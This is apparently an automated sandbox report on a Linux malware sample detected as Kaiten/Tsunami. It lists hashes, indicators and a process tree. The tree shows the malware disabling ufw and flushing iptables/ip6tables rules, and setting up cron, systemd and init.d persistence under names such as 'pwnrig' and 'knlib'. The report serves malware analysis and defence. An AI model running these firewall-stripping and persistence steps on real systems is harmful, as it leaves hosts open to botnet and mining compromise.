Analysis
-
max time kernel
13s -
max time network
54s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240221-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
13-03-2024 02:53
Behavioral task
behavioral1
Sample
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf
Resource
ubuntu2004-amd64-20240221-en
General
-
Target
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf
-
Size
3.9MB
-
MD5
426155ff2d5a20f7164da55ff23cc94b
-
SHA1
71f5f60479f21702145008bb98c108a69ba8f34c
-
SHA256
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712
-
SHA512
ae3c2dd95640d64a971a95af8a8aaf1effd150b0f8a37c46f902c991a66686c56210c8f2cf6ea00daa31c52731de6df2c4169b9279d387775b9d6c9739ecdc0b
-
SSDEEP
98304:7CuSt95TW1PvY22pKm2lGEhL4uQEMAlj664cLa1:7CuSt954A2WhcfRQrUUv1
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1810-2-0x00007f550cda2000-0x00007f550cdb6700-memory.dmp family_kaiten2 -
Detects Kaiten/Tsunami payload 1 IoCs
resource yara_rule behavioral1/memory/1810-2-0x00007f550cda2000-0x00007f550cdb6700-memory.dmp family_kaiten -
Executes dropped EXE 4 IoCs
ioc pid Process /etc/init.d/knlib 1722 knlib /tmp/sys-helper 1810 sys-helper /tmp/service-agent 1812 service-agent /tmp/service-agent 2117 service-agent -
Flushes firewall rules 3 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 1503 ufw 1717 iptables 1883 update-rc.d -
ioc pid Process /usr/lib/modules/5.4.0-169-generic/kernel/net/ipv6/netfilter/ip6_tables.ko 1524 modprobe -
Reads EFI boot settings 10 IoCs
Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.
description ioc Process File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl -
resource yara_rule behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-15.dat upx behavioral1/files/fstream-17.dat upx -
Attempts to change immutable files 29 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1856 sed 1877 sed 2141 sh 1808 chattr 1859 chattr 1879 chattr 1972 chattr 1980 chattr 1795 chattr 1805 chattr 1816 hostname 2144 hostname 1806 chattr 1809 chattr 1851 sh 1861 chattr 1882 chattr 1915 sed 1979 sed 1802 chattr 1726 chattr 1804 chattr 1854 chattr 1974 chattr 1718 chattr 1721 chattr 1803 chattr 1807 chattr 1813 sh -
Checks CPU configuration 1 TTPs 6 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo service-agent File opened for reading /proc/cpuinfo grep -
Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/sys_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/product_name service-agent File opened for reading /sys/devices/virtual/dmi/id/board_vendor service-agent -
Creates/modifies Cron job 1 TTPs 17 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.monthly/.lib-knlib4 Process not Found File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.daily/sedfxjXw7 sed File opened for modification /etc/cron.hourly/.lib-knlib4 Process not Found File opened for modification /etc/cron.daily/.lib-knlib4 Process not Found File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.monthly/sedvBJup8 sed File opened for modification /var/spool/cron/.lib-knlib4 Process not Found File opened for modification /etc/cron.hourly/sedniW0w7 sed File opened for modification /etc/cron.weekly/.lib-knlib4 Process not Found File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.d/sedmQib26 sed File opened for modification /etc/cron.weekly/sedehBdc6 sed File opened for modification /var/spool/cron/crontabs/tmp.cmc4Yl crontab File opened for modification /etc/cron.d/.lib-knlib4 Process not Found -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/knlib f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sedlxQlmY sed -
Modifies systemd 1 TTPs 3 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/knlibe.service f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /etc/systemd/system/pwnrige.service tee -
Reads CPU attributes 1 TTPs 16 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/possible service-agent File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online service-agent File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/types service-agent File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps -
Reads hardware information 1 TTPs 28 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/product_version service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_date service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_date service-agent File opened for reading /sys/devices/virtual/dmi/id/product_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/board_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent File opened for reading /sys/devices/virtual/dmi/id/product_uuid service-agent File opened for reading /sys/devices/virtual/dmi/id/board_name service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_version service-agent File opened for reading /sys/devices/virtual/dmi/id/bios_version service-agent File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag service-agent File opened for reading /sys/devices/virtual/dmi/id/chassis_type service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/product_serial service-agent File opened for reading /sys/devices/virtual/dmi/id/board_version service-agent -
Writes file to system bin folder 1 TTPs 5 IoCs
description ioc Process File opened for modification /bin/crondr cp File opened for modification /bin/initdr cp File opened for modification /bin/sysdr cp File opened for modification /bin/knlib5 f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf File opened for modification /bin/bprofr cp -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type service-agent File opened for reading /sys/kernel/mm/hugepages service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size service-agent File opened for reading /sys/bus/node/devices/node0/meminfo service-agent File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems service-agent File opened for reading /sys/bus/cpu/devices service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map service-agent File opened for reading /sys/kernel/mm/transparent_hugepage/hpage_pmd_size f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/fs/cgroup/unified/cgroup.controllers service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_cpus service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type service-agent File opened for reading /sys/bus/dax/devices service-agent File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id service-agent File opened for reading /sys/bus/dax/devices service-agent File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth service-agent File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type service-agent File opened for reading /sys/bus/node/devices/node0/cpumap service-agent File opened for reading /sys/bus/node/devices/node0/hugepages service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map service-agent File opened for reading /sys/devices/system/node/online service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level service-agent File opened for reading /sys/bus/dax/target_node service-agent File opened for reading /sys/devices/virtual/dmi/id service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map service-agent File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map service-agent File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages service-agent File opened for reading /sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67 systemctl File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size service-agent File opened for reading /sys/module/ip6_tables/initstate modprobe -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/200/cmdline ps File opened for reading /proc/2/status ps File opened for reading /proc/2191/cmdline ps File opened for reading /proc/86/status pgrep File opened for reading /proc/2067/cmdline ps File opened for reading /proc/614/status ps File opened for reading /proc/24/status ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/88/cmdline ps File opened for reading /proc/992/stat ps File opened for reading /proc/20/stat ps File opened for reading /proc/1152/status ps File opened for reading /proc/1398/cmdline pgrep File opened for reading /proc/1574/status pgrep File opened for reading /proc/811/stat ps File opened for reading /proc/167/cmdline pgrep File opened for reading /proc/1170/stat ps File opened for reading /proc/1519/stat ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/176/cmdline pkill File opened for reading /proc/270/status ps File opened for reading /proc/440/status ps File opened for reading /proc/159/cmdline ps File opened for reading /proc/926/cmdline ps File opened for reading /proc/1/cmdline ps File opened for reading /proc/267/cmdline pkill File opened for reading /proc/1454/stat ps File opened for reading /proc/201/status pgrep File opened for reading /proc/676/cmdline pgrep File opened for reading /proc/7/stat ps File opened for reading /proc/2068/stat ps File opened for reading /proc/571/status pgrep File opened for reading /proc/1103/status ps File opened for reading /proc/1843/status ps File opened for reading /proc/140/cmdline ps File opened for reading /proc/1432/cmdline ps File opened for reading /proc/8/status ps File opened for reading /proc/448/stat ps File opened for reading /proc/13/stat ps File opened for reading /proc/616/status pgrep File opened for reading /proc/587/stat ps File opened for reading /proc/1315/cmdline pgrep File opened for reading /proc/670/status pkill File opened for reading /proc/1474/stat ps File opened for reading /proc/1301/stat ps File opened for reading /proc/1560/stat ps File opened for reading /proc/580/status ps File opened for reading /proc/159/cmdline pgrep File opened for reading /proc/1432/status ps File opened for reading /proc/830/stat ps File opened for reading /proc/1414/stat ps File opened for reading /proc/270/stat ps File opened for reading /proc/484/stat ps File opened for reading /proc/830/status pkill File opened for reading /proc/1103/stat ps File opened for reading /proc/950/cmdline pgrep File opened for reading /proc/105/stat ps File opened for reading /proc/89/cmdline ps File opened for reading /proc/267/status ps File opened for reading /proc/1438/status pgrep File opened for reading /proc/173/status ps File opened for reading /proc/1077/status pkill File opened for reading /proc/1194/cmdline pgrep File opened for reading /proc/167/cmdline pkill -
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bashirc sys-helper File opened for modification /tmp/service-agent Process not Found File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/.lock service-agent File opened for modification /tmp/sys-helper Process not Found
Processes
-
/tmp/f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf/tmp/f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712.elf1⤵
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Enumerates kernel/hardware configuration
PID:1479 -
/usr/bin/bashbash -c "ufw disable"2⤵PID:1503
-
-
/usr/sbin/ufwufw disable2⤵
- Flushes firewall rules
PID:1503 -
/usr/sbin/iptables/usr/sbin/iptables -V3⤵PID:1521
-
-
/lib/ufw/ufw-init/lib/ufw/ufw-init force-stop3⤵PID:1522
-
/sbin/ip6tablesip6tables -L INPUT -n4⤵PID:1523
-
/sbin/modprobe/sbin/modprobe ip6_tables5⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
PID:1524
-
-
-
/sbin/iptablesiptables -F ufw-logging-deny4⤵PID:1526
-
-
/sbin/iptablesiptables -F ufw-logging-allow4⤵PID:1530
-
-
/sbin/iptablesiptables -F ufw-not-local4⤵PID:1531
-
-
/sbin/iptablesiptables -F ufw-user-logging-input4⤵PID:1532
-
-
/sbin/iptablesiptables -F ufw-user-limit-accept4⤵PID:1533
-
-
/sbin/iptablesiptables -F ufw-user-limit4⤵PID:1534
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-input4⤵PID:1535
-
-
/sbin/iptablesiptables -F ufw-reject-input4⤵PID:1536
-
-
/sbin/iptablesiptables -F ufw-after-logging-input4⤵PID:1537
-
-
/sbin/iptablesiptables -F ufw-after-input4⤵PID:1538
-
-
/sbin/iptablesiptables -F ufw-user-input4⤵PID:1539
-
-
/sbin/iptablesiptables -F ufw-before-input4⤵PID:1540
-
-
/sbin/iptablesiptables -F ufw-before-logging-input4⤵PID:1541
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-forward4⤵PID:1543
-
-
/sbin/iptablesiptables -F ufw-reject-forward4⤵PID:1544
-
-
/sbin/iptablesiptables -F ufw-after-logging-forward4⤵PID:1545
-
-
/sbin/iptablesiptables -F ufw-after-forward4⤵PID:1546
-
-
/sbin/iptablesiptables -F ufw-user-logging-forward4⤵PID:1548
-
-
/sbin/iptablesiptables -F ufw-user-forward4⤵PID:1549
-
-
/sbin/iptablesiptables -F ufw-before-forward4⤵PID:1550
-
-
/sbin/iptablesiptables -F ufw-before-logging-forward4⤵PID:1551
-
-
/sbin/iptablesiptables -F ufw-track-forward4⤵PID:1552
-
-
/sbin/iptablesiptables -F ufw-track-output4⤵PID:1556
-
-
/sbin/iptablesiptables -F ufw-track-input4⤵PID:1558
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-output4⤵PID:1559
-
-
/sbin/iptablesiptables -F ufw-reject-output4⤵PID:1563
-
-
/sbin/iptablesiptables -F ufw-after-logging-output4⤵PID:1564
-
-
/sbin/iptablesiptables -F ufw-after-output4⤵PID:1565
-
-
/sbin/iptablesiptables -F ufw-user-logging-output4⤵PID:1566
-
-
/sbin/iptablesiptables -F ufw-user-output4⤵PID:1568
-
-
/sbin/iptablesiptables -F ufw-before-output4⤵PID:1569
-
-
/sbin/iptablesiptables -F ufw-before-logging-output4⤵PID:1570
-
-
/sbin/iptablesiptables -Z ufw-logging-deny4⤵PID:1571
-
-
/sbin/iptablesiptables -Z ufw-logging-allow4⤵PID:1572
-
-
/sbin/iptablesiptables -Z ufw-not-local4⤵PID:1573
-
-
/sbin/iptablesiptables -Z ufw-user-logging-input4⤵PID:1575
-
-
/sbin/iptablesiptables -Z ufw-user-limit-accept4⤵PID:1576
-
-
/sbin/iptablesiptables -Z ufw-user-limit4⤵PID:1577
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-input4⤵PID:1578
-
-
/sbin/iptablesiptables -Z ufw-reject-input4⤵PID:1579
-
-
/sbin/iptablesiptables -Z ufw-after-logging-input4⤵PID:1580
-
-
/sbin/iptablesiptables -Z ufw-after-input4⤵PID:1581
-
-
/sbin/iptablesiptables -Z ufw-user-input4⤵PID:1582
-
-
/sbin/iptablesiptables -Z ufw-before-input4⤵PID:1583
-
-
/sbin/iptablesiptables -Z ufw-before-logging-input4⤵PID:1584
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-forward4⤵PID:1585
-
-
/sbin/iptablesiptables -Z ufw-reject-forward4⤵PID:1586
-
-
/sbin/iptablesiptables -Z ufw-after-logging-forward4⤵PID:1587
-
-
/sbin/iptablesiptables -Z ufw-after-forward4⤵PID:1588
-
-
/sbin/iptablesiptables -Z ufw-user-logging-forward4⤵PID:1589
-
-
/sbin/iptablesiptables -Z ufw-user-forward4⤵PID:1590
-
-
/sbin/iptablesiptables -Z ufw-before-forward4⤵PID:1591
-
-
/sbin/iptablesiptables -Z ufw-before-logging-forward4⤵PID:1592
-
-
/sbin/iptablesiptables -Z ufw-track-forward4⤵PID:1593
-
-
/sbin/iptablesiptables -Z ufw-track-output4⤵PID:1594
-
-
/sbin/iptablesiptables -Z ufw-track-input4⤵PID:1595
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-output4⤵PID:1596
-
-
/sbin/iptablesiptables -Z ufw-reject-output4⤵PID:1597
-
-
/sbin/iptablesiptables -Z ufw-after-logging-output4⤵PID:1598
-
-
/sbin/iptablesiptables -Z ufw-after-output4⤵PID:1599
-
-
/sbin/iptablesiptables -Z ufw-user-logging-output4⤵PID:1600
-
-
/sbin/iptablesiptables -Z ufw-user-output4⤵PID:1601
-
-
/sbin/iptablesiptables -Z ufw-before-output4⤵PID:1602
-
-
/sbin/iptablesiptables -Z ufw-before-logging-output4⤵PID:1603
-
-
/sbin/iptablesiptables -X ufw-logging-deny4⤵PID:1604
-
-
/sbin/iptablesiptables -X ufw-logging-allow4⤵PID:1605
-
-
/sbin/iptablesiptables -X ufw-not-local4⤵PID:1606
-
-
/sbin/iptablesiptables -X ufw-user-logging-input4⤵PID:1607
-
-
/sbin/iptablesiptables -X ufw-user-logging-output4⤵PID:1608
-
-
/sbin/iptablesiptables -X ufw-user-logging-forward4⤵PID:1609
-
-
/sbin/iptablesiptables -X ufw-user-limit-accept4⤵PID:1610
-
-
/sbin/iptablesiptables -X ufw-user-limit4⤵PID:1611
-
-
/sbin/iptablesiptables -X ufw-user-input4⤵PID:1612
-
-
/sbin/iptablesiptables -X ufw-user-forward4⤵PID:1613
-
-
/sbin/iptablesiptables -X ufw-user-output4⤵PID:1614
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-input4⤵PID:1615
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-output4⤵PID:1616
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-forward4⤵PID:1617
-
-
/sbin/iptablesiptables -P INPUT ACCEPT4⤵PID:1618
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT4⤵PID:1619
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT4⤵PID:1620
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-deny4⤵PID:1621
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-allow4⤵PID:1622
-
-
/sbin/ip6tablesip6tables -F ufw6-not-local4⤵PID:1623
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-input4⤵PID:1624
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit-accept4⤵PID:1625
-
-
/sbin/ip6tablesip6tables -F ufw6-user-limit4⤵PID:1626
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-input4⤵PID:1629
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-input4⤵PID:1630
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-input4⤵PID:1631
-
-
/sbin/ip6tablesip6tables -F ufw6-after-input4⤵PID:1632
-
-
/sbin/ip6tablesip6tables -F ufw6-user-input4⤵PID:1633
-
-
/sbin/ip6tablesip6tables -F ufw6-before-input4⤵PID:1634
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-input4⤵PID:1635
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-forward4⤵PID:1636
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-forward4⤵PID:1637
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-forward4⤵PID:1638
-
-
/sbin/ip6tablesip6tables -F ufw6-after-forward4⤵PID:1639
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-forward4⤵PID:1640
-
-
/sbin/ip6tablesip6tables -F ufw6-user-forward4⤵PID:1641
-
-
/sbin/ip6tablesip6tables -F ufw6-before-forward4⤵PID:1642
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-forward4⤵PID:1643
-
-
/sbin/ip6tablesip6tables -F ufw6-track-forward4⤵PID:1644
-
-
/sbin/ip6tablesip6tables -F ufw6-track-output4⤵PID:1645
-
-
/sbin/ip6tablesip6tables -F ufw6-track-input4⤵PID:1646
-
-
/sbin/ip6tablesip6tables -F ufw6-skip-to-policy-output4⤵PID:1647
-
-
/sbin/ip6tablesip6tables -F ufw6-reject-output4⤵PID:1648
-
-
/sbin/ip6tablesip6tables -F ufw6-after-logging-output4⤵PID:1649
-
-
/sbin/ip6tablesip6tables -F ufw6-after-output4⤵PID:1650
-
-
/sbin/ip6tablesip6tables -F ufw6-user-logging-output4⤵PID:1651
-
-
/sbin/ip6tablesip6tables -F ufw6-user-output4⤵PID:1652
-
-
/sbin/ip6tablesip6tables -F ufw6-before-output4⤵PID:1653
-
-
/sbin/ip6tablesip6tables -F ufw6-before-logging-output4⤵PID:1654
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-deny4⤵PID:1655
-
-
/sbin/ip6tablesip6tables -Z ufw6-logging-allow4⤵PID:1656
-
-
/sbin/ip6tablesip6tables -Z ufw6-not-local4⤵PID:1657
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-input4⤵PID:1658
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit-accept4⤵PID:1659
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-limit4⤵PID:1660
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-input4⤵PID:1661
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-input4⤵PID:1662
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-input4⤵PID:1663
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-input4⤵PID:1664
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-input4⤵PID:1665
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-input4⤵PID:1668
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-input4⤵PID:1669
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-forward4⤵PID:1670
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-forward4⤵PID:1671
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-forward4⤵PID:1672
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-forward4⤵PID:1673
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-forward4⤵PID:1674
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-forward4⤵PID:1675
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-forward4⤵PID:1676
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-forward4⤵PID:1677
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-forward4⤵PID:1678
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-output4⤵PID:1679
-
-
/sbin/ip6tablesip6tables -Z ufw6-track-input4⤵PID:1680
-
-
/sbin/ip6tablesip6tables -Z ufw6-skip-to-policy-output4⤵PID:1681
-
-
/sbin/ip6tablesip6tables -Z ufw6-reject-output4⤵PID:1682
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-logging-output4⤵PID:1683
-
-
/sbin/ip6tablesip6tables -Z ufw6-after-output4⤵PID:1684
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-logging-output4⤵PID:1685
-
-
/sbin/ip6tablesip6tables -Z ufw6-user-output4⤵PID:1687
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-output4⤵PID:1688
-
-
/sbin/ip6tablesip6tables -Z ufw6-before-logging-output4⤵PID:1689
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-deny4⤵PID:1691
-
-
/sbin/ip6tablesip6tables -X ufw6-logging-allow4⤵PID:1692
-
-
/sbin/ip6tablesip6tables -X ufw6-not-local4⤵PID:1693
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-input4⤵PID:1694
-
-
/sbin/ip6tablesip6tables -X ufw6-user-logging-output4⤵PID:1695
-
-
